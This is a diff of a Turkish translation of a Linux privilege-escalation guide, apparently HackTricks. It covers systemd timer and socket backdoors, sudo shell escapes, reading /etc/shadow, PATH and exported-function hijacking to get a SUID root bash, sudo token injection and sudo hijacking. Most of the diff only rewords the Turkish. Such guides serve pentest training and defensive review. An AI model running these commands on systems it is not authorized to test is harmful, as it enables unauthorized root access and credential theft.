**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilirler.
|
||||
**Zamanlayıcılar**, `**.service**` dosyalarını veya olayları kontrol eden `**.timer**` ile biten systemd birim dosyalarıdır. **Zamanlayıcılar**, takvim zamanı olayları ve monotonik zaman olayları için yerleşik destekleri olduğundan, cron'a alternatif olarak kullanılabilir ve asenkron olarak çalıştırılabilir.
|
||||
|
||||
Tüm zamanlayıcıları şu şekilde listeleyebilirsiniz:
|
||||
```bash
|
||||
@ -417,14 +417,14 @@ Eğer bir zamanlayıcıyı değiştirebiliyorsanız, onu bazı systemd.unit varl
|
||||
```bash
|
||||
Unit=backdoor.service
|
||||
```
|
||||
Belgede, bir Birimin ne olduğunu okuyabilirsiniz:
|
||||
Belgede birimin ne olduğunu okuyabilirsiniz:
|
||||
|
||||
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, sadece son ek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birimi adı, son ek hariç aynı şekilde adlandırılması önerilir.
|
||||
> Bu zamanlayıcı süresi dolduğunda etkinleştirilecek birim. Argüman, ".timer" ile bitmeyen bir birim adıdır. Belirtilmezse, bu değer, zamanlayıcı birimi ile aynı ada sahip bir hizmete varsayılan olarak ayarlanır, yalnızca sonek hariç. (Yukarıya bakın.) Etkinleştirilen birim adı ile zamanlayıcı birim adı, sonek hariç aynı şekilde adlandırılması önerilir.
|
||||
|
||||
Bu nedenle, bu izni kötüye kullanmak için şunları yapmanız gerekir:
|
||||
|
||||
- **yazılabilir bir ikili dosya** çalıştıran bir systemd birimi (örneğin bir `.service`) bulun
|
||||
- **göreli bir yolu** çalıştıran bir systemd birimi bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için)
|
||||
- **Yazılabilir bir ikili dosyayı** **çalıştıran** bazı systemd birimlerini bulun (örneğin bir `.service`)
|
||||
- **Göreli bir yolu** **çalıştıran** bazı systemd birimlerini bulun ve **systemd PATH** üzerinde **yazma ayrıcalıklarınız** olsun (o yürütülebilir dosyayı taklit etmek için)
|
||||
|
||||
**Zamanlayıcılar hakkında daha fazla bilgi edinin `man systemd.timer`.**
|
||||
|
||||
@ -446,15 +446,15 @@ Soketler, `.socket` dosyaları kullanılarak yapılandırılabilir.
|
||||
**Soketler hakkında daha fazla bilgi için `man systemd.socket` komutunu öğrenin.** Bu dosya içinde, birkaç ilginç parametre yapılandırılabilir:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Bu seçenekler farklıdır ancak bir özet, soketin **nerede dinleyeceğini belirtmek için** kullanılır (AF_UNIX soket dosyasının yolu, dinlenecek IPv4/6 ve/veya port numarası vb.)
|
||||
- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri kendileri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
|
||||
- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı mutlak bir dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
|
||||
- `Accept`: Bir boolean argümanı alır. Eğer **doğruysa**, her gelen bağlantı için bir **hizmet örneği oluşturulur** ve yalnızca bağlantı soketi ona iletilir. Eğer **yanlışsa**, tüm dinleme soketleri **başlatılan hizmet birimine iletilir** ve tüm bağlantılar için yalnızca bir hizmet birimi oluşturulur. Bu değer, tek bir hizmet biriminin koşulsuz olarak tüm gelen trafiği işlediği datagram soketleri ve FIFOs için göz ardı edilir. **Varsayılan olarak yanlıştır**. Performans nedenleriyle, yeni daemonların yalnızca `Accept=no` için uygun bir şekilde yazılması önerilir.
|
||||
- `ExecStartPre`, `ExecStartPost`: Dinleme **soketleri**/FIFOs **oluşturulmadan önce** veya **sonra** **çalıştırılan** bir veya daha fazla komut satırı alır. Komut satırının ilk token'ı bir mutlak dosya adı olmalı, ardından işlem için argümanlar gelmelidir.
|
||||
- `ExecStopPre`, `ExecStopPost`: Dinleme **soketleri**/FIFOs **kapandıktan önce** veya **sonra** **çalıştırılan** ek **komutlar**.
|
||||
- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (ek ile değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
- `Service`: **Gelen trafik** üzerinde **etkinleştirilecek** **hizmet** birimi adını belirtir. Bu ayar yalnızca Accept=no olan soketler için geçerlidir. Varsayılan olarak, soketle aynı adı taşıyan hizmete (sonek değiştirilmiş) ayarlanır. Çoğu durumda, bu seçeneği kullanmak gerekli olmamalıdır.
|
||||
|
||||
### Yazılabilir .socket dosyaları
|
||||
|
||||
Eğer bir **yazılabilir** `.socket` dosyası bulursanız, `[Socket]` bölümünün başına şunu ekleyebilirsiniz: `ExecStartPre=/home/kali/sys/backdoor` ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\
|
||||
&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_
|
||||
Eğer **yazılabilir** bir `.socket` dosyası bulursanız, `[Socket]` bölümünün başına `ExecStartPre=/home/kali/sys/backdoor` gibi bir şey **ekleyebilirsiniz** ve arka kapı soket oluşturulmadan önce çalıştırılacaktır. Bu nedenle, **muhtemelen makinenin yeniden başlatılmasını beklemeniz gerekecek.**\
|
||||
&#xNAN;_Note edin ki sistemin bu soket dosyası yapılandırmasını kullanıyor olması gerekir, aksi takdirde arka kapı çalıştırılmayacaktır_
|
||||
|
||||
### Yazılabilir soketler
|
||||
|
||||
@ -485,7 +485,7 @@ HTTP istekleri için dinleyen bazı **soketler** olabileceğini unutmayın (_.so
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
Eğer soket **HTTP** isteği ile **yanıt veriyorsa**, o zaman onunla **iletişim kurabilir** ve belki de **bazı zafiyetleri istismar edebilirsiniz**.
|
||||
Eğer soket **HTTP** isteği ile **yanıt veriyorsa**, o zaman onunla **iletişim kurabilir** ve belki de **bazı zayıflıkları istismar edebilirsiniz**.
|
||||
|
||||
### Yazılabilir Docker Soketi
|
||||
|
||||
@ -536,7 +536,7 @@ Upgrade: tcp
|
||||
|
||||
### Diğerleri
|
||||
|
||||
Eğer **`docker` grubunun içinde** olduğunuz için docker soketi üzerinde yazma izinleriniz varsa, [**yetki yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/#docker-group). Eğer [**docker API bir portta dinliyorsa, onu tehlikeye atma şansınız da olabilir**](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
Eğer **`docker` grubunun içinde olduğunuz için** docker soketi üzerinde yazma izinleriniz varsa, [**yetki yükseltmek için daha fazla yolunuz vardır**](interesting-groups-linux-pe/#docker-group). Eğer [**docker API bir portta dinliyorsa, onu tehlikeye atma şansınız da olabilir**](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
**Docker'dan çıkmanın veya onu kötüye kullanarak yetki yükseltmenin daha fazla yolunu** kontrol edin:
|
||||
|
||||
@ -564,13 +564,13 @@ runc-privilege-escalation.md
|
||||
|
||||
D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar.
|
||||
|
||||
Sistem, süreçler arasında veri alışverişini artıran temel IPC'yi destekleyerek **gelişmiş UNIX alan soketleri**ni andıran bir yapıdadır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olarak sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarını sessize alabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir sinyal, gelen bir arama hakkında müzik çalarını sessize alabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır.
|
||||
|
||||
D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir.
|
||||
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasında, root kullanıcısının `fi.w1.wpa_supplicant1`'e mesaj göndermesi, alması ve sahip olması için izinleri detaylandıran bir politika örneği sağlanmıştır.
|
||||
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanır, "varsayılan" bağlam politikaları ise diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır.
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -658,7 +658,7 @@ Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıklar
|
||||
|
||||
### Gruplar
|
||||
|
||||
Sana root ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığını kontrol et**:
|
||||
Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** kontrol edin:
|
||||
|
||||
{{#ref}}
|
||||
interesting-groups-linux-pe/
|
||||
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
|
||||
|
||||
### Panoya
|
||||
|
||||
Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol et.
|
||||
Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin.
|
||||
```bash
|
||||
if [ `which xclip 2>/dev/null` ]; then
|
||||
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
|
||||
@ -720,7 +720,7 @@ $ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık kök dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak basit hale gelmiştir.
|
||||
Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak basit hale gelmiştir.
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
### Sudo yürütme atlama yolları
|
||||
|
||||
**Diğer dosyaları okumak** veya **sembolik bağlantılar** kullanmak için atlayın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
**Diğer dosyaları okumak için atlayın** veya **sembolik bağlantılar** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_
|
||||
```bash
|
||||
sudo less /var/logs/anything
|
||||
less>:e /etc/shadow #Jump to read other files using privileged less
|
||||
@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
|
||||
### Sudo komutu/SUID ikili dosyası komut yolu olmadan
|
||||
|
||||
Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz.
|
||||
Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ bunu PATH değişkenini değiştirerek istismar edebilirsiniz.
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
@ -771,7 +771,7 @@ Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çal
|
||||
|
||||
Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz.
|
||||
|
||||
Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
@ -780,12 +780,12 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
|
||||
**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşımlı kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir.
|
||||
|
||||
Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar:
|
||||
|
||||
- Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz.
|
||||
- SUID/SGID'ye sahip yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
|
||||
- SUID/SGID olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir.
|
||||
|
||||
Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir.
|
||||
```
|
||||
@ -901,9 +901,13 @@ Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya sürd
|
||||
> strace -o /dev/null /bin/sh\
|
||||
> sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
|
||||
{% embed url="https://gtfobins.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfobins.github.io/
|
||||
{{#endref}}
|
||||
|
||||
{% embed url="https://gtfoargs.github.io/" %}
|
||||
{{#ref}}
|
||||
https://gtfoargs.github.io/
|
||||
{{#endref}}
|
||||
|
||||
### FallOfSudo
|
||||
|
||||
@ -916,7 +920,7 @@ Eğer **sudo erişiminiz** varsa ama şifreniz yoksa, **bir sudo komutunun yür
|
||||
Ayrıcalıkları yükseltmek için gereksinimler:
|
||||
|
||||
- Zaten "_sampleuser_" kullanıcısı olarak bir shell'e sahipsiniz
|
||||
- "_sampleuser_" son **15 dakikada** bir şeyi **`sudo` ile** yürütmüş (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir)
|
||||
- "_sampleuser_" son **15 dakikada** bir şey yürütmek için **`sudo` kullanmış** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` 0
|
||||
- `gdb` erişilebilir (yükleyebilmeniz gerekir)
|
||||
|
||||
@ -924,7 +928,7 @@ Ayrıcalıkları yükseltmek için gereksinimler:
|
||||
|
||||
Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` ikili dosyasını oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
@ -942,14 +946,14 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Kullanıcı Adı>
|
||||
|
||||
Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\
|
||||
Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcıyla bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**:
|
||||
Eğer klasörde veya klasör içindeki herhangi bir oluşturulmuş dosyada **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\
|
||||
Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubunun okuyabileceği şekilde ayarlanmıştır**.\
|
||||
Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\
|
||||
**Eğer** bu dosyayı **okuyabiliyorsanız**, **ilginç bilgiler elde edebilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri yükseltebilirsiniz**.
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
@ -975,7 +979,7 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası oluşturabilirsiniz.** Ardından, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır.
|
||||
Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları yükselttiğini** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası oluşturabilirsiniz.** Ardından, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır.
|
||||
|
||||
Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz.
|
||||
|
||||
@ -1002,8 +1006,8 @@ Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldi
|
||||
|
||||
Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.**
|
||||
|
||||
Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetki yükseltme gerçekleştirebilir.\
|
||||
Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın:
|
||||
Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, ayrıcalıkları artırma yeteneğine sahip olabilir.\
|
||||
Bu yanlış yapılandırmayı **nasıl istismar edeceğinizi** aşağıdaki sayfada inceleyin:
|
||||
|
||||
{{#ref}}
|
||||
ld.so.conf-example.md
|
||||
@ -1053,12 +1057,12 @@ linux-capabilities.md
|
||||
|
||||
## Dizin izinleri
|
||||
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **dizine "cd"** yapabileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** **oluşturabileceğini** belirtir.
|
||||
Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **"cd"** komutunu kullanarak klasöre girebileceğini belirtir.\
|
||||
**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** oluşturabileceğini belirtir.
|
||||
|
||||
## ACL'ler
|
||||
|
||||
Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde kontrolü artırarak, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek daha fazla kontrol sağlar. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir.
|
||||
Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar ve sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek erişimi yönetir. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir.
|
||||
|
||||
**kali** kullanıcısına bir dosya üzerinde okuma ve yazma izinleri verin:
|
||||
```bash
|
||||
@ -1120,17 +1124,17 @@ Check **Valentine box from HTB** for an example.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) üretilen tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\
|
||||
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH İlginç yapılandırma değerleri
|
||||
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`'dur.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`'dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur.
|
||||
- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`dur.
|
||||
- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`dir.
|
||||
- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`dur.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler:
|
||||
Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`dur. Olası değerler:
|
||||
|
||||
- `yes`: root parola ve özel anahtar kullanarak giriş yapabilir
|
||||
- `without-password` veya `prohibit-password`: root yalnızca özel anahtar ile giriş yapabilir
|
||||
@ -1147,7 +1151,7 @@ Bu yapılandırma, "**testusername**" kullanıcısının **özel** anahtarıyla
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH ajan yönlendirmesi, **şifreli olmayan** anahtarların sunucunuzda kalması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh üzerinden **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz.
|
||||
SSH ajan yönlendirmesi, **şifre olmadan** anahtarların sunucunuzda durması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz.
|
||||
|
||||
Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekir:
|
||||
```
|
||||
